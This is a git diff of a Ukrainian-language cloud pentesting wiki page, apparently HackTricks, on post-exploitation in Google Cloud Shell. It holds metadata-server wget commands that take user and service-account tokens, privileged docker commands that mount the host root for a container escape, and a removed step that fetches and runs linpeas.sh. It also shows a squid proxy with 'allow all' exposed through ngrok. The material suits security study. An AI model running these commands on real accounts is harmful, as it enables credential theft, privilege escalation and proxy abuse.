diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index 791e8fb2c..9ed385d3a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -10,40 +10,40 @@ ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### Отримання token користувача з metadata -Зверніть увагу, що Google Cloud Shell працює всередині контейнера — ви можете **достатньо легко вийти на хост**, виконавши: +Просто отримавши доступ до metadata server, ви можете отримати token, щоб діяти від імені поточного увійшовшого користувача: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Docker use + +> [!WARNING] +> Раніше cloud shell запускався в контейнері з доступом до docker socket хоста. Тепер Google змінила архітектуру, і контейнер cloud shell працює в конфігурації "Docker in a container". Тож навіть якщо можливо використовувати docker з cloud shell, ви не зможете escape to the host, використовуючи docker socket. +> Зауважте, що раніше файл `docker.sock` знаходився в `/google/host/var/run/docker.sock`, але тепер його перемістили в `/run/docker.sock`.
-Container escape commands +Docker use / Old container escape commands ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-Це не вважається вразливістю з боку google, але дає ширше уявлення про те, що відбувається в цьому оточенні. - -Крім того, зверніть увагу, що на хості можна знайти service account token: +Крім того, раніше можна було знайти токен для service account, який використовувався cloud shell VM, на metadata server:
-Get service account from metadata +Старий service account із metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- -З наступними scopes: - -
- -Отримати service account scopes +З наступними областями доступу: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write ```
-Перелічити метадані за допомогою LinPEAS: -
- -Перелічити метадані за допомогою LinPEAS -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
- -Після використання [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) з токеном Service Account **жодних дозволів не виявлено**... ### Використати як Proxy -Якщо ви хочете використовувати ваш google cloud shell екземпляр як proxy, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc): +Якщо ви хочете використати ваш google cloud shell instance як proxy, треба виконати такі команди (або вставити їх у файл .bashrc):
@@ -79,11 +67,11 @@ sudo apt install -y squid ```
-Просто щоб ви знали, Squid is a http proxy server. Створіть файл **squid.conf** з наступними налаштуваннями: +Для довідки, Squid — це http proxy server. Створіть файл **squid.conf** з такими налаштуваннями:
-Створити файл squid.conf +Create squid.conf file ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 @@ -92,7 +80,7 @@ http_access allow all ```
-Скопіюйте файл **squid.conf** до **/etc/squid** +скопіюйте файл **squid.conf** до **/etc/squid**
@@ -102,29 +90,29 @@ sudo cp squid.conf /etc/squid ```
-Нарешті запустіть службу Squid: +Нарешті запустіть сервіс squid:
-Запустіть службу Squid +Запустіть сервіс squid ```bash sudo service squid start ```
-Використайте ngrok, щоб зробити proxy доступним ззовні: +Використовуйте ngrok, щоб зробити proxy доступним зовні:
-Зробити proxy доступним через ngrok +Відкрити proxy через ngrok ```bash ./ngrok tcp 3128 ```
-Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і номер порту та ввести порт у полі port у налаштуваннях proxy вашого браузера (squid is a http proxy server). +Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і порт та вказати порт у полі портів у налаштуваннях проксі вашого браузера (squid — це http proxy server). -Для зручнішого використання під час старту файл .bashrc повинен містити такі рядки: +Для зручнішого використання при старті файл .bashrc має містити такі рядки:
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128 ```
-Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть windows) у Cloud Shell. +Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть Windows) у Cloud Shell. {{#include ../../../banners/hacktricks-training.md}}